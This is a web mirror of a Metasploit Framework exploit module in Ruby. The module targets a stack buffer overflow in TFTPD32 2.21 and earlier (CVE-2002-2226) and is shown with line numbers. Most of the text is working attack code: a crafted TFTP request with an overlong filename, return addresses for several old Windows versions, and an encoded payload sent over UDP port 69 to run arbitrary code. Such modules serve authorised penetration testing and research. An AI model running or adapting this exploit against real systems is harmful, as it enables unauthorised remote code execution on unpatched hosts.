CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/tftpd32_long_filename.rb
Views: 11784
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(update_info(info,
13
'Name' => 'TFTPD32 Long Filename Buffer Overflow',
14
'Description' => %q{
15
This module exploits a stack buffer overflow in TFTPD32 version 2.21
16
and prior. By sending a request for an overly long file name
17
to the tftpd32 server, a remote attacker could overflow a buffer and
18
execute arbitrary code on the system.
19
},
20
'Author' => 'MC',
21
'References' =>
22
[
23
['CVE', '2002-2226'],
24
['OSVDB', '45903'],
25
['BID', '6199'],
26
],
27
'DefaultOptions' =>
28
{
29
'EXITFUNC' => 'process',
30
},
31
'Payload' =>
32
{
33
'Space' => 250,
34
'BadChars' => "\x00",
35
'StackAdjustment' => -3500,
36
},
37
'Platform' => 'win',
38
'Targets' =>
39
[
40
['Windows NT 4.0 SP6a English', { 'Ret' => 0x77f9d463} ],
41
['Windows 2000 Pro SP4 English', { 'Ret' => 0x7c2ec663} ],
42
['Windows XP Pro SP0 English', { 'Ret' => 0x77dc0df0} ],
43
['Windows XP Pro SP1 English', { 'Ret' => 0x77dc5527} ],
44
],
45
'Privileged' => true,
46
'DisclosureDate' => '2002-11-19'
47
))
48
49
register_options(
50
[
51
Opt::RPORT(69)
52
], self)
53
end
54
55
def exploit
56
connect_udp
57
58
print_status("Trying target #{target.name}...")
59
60
sploit =
61
"\x00\x01" +
62
rand_text_english(120, payload_badchars) +
63
"." +
64
rand_text_english(135, payload_badchars) +
65
[target.ret].pack('V') +
66
payload.encoded +
67
"\x00"
68
69
udp_sock.put(sploit)
70
71
disconnect_udp
72
end
73
end
74
75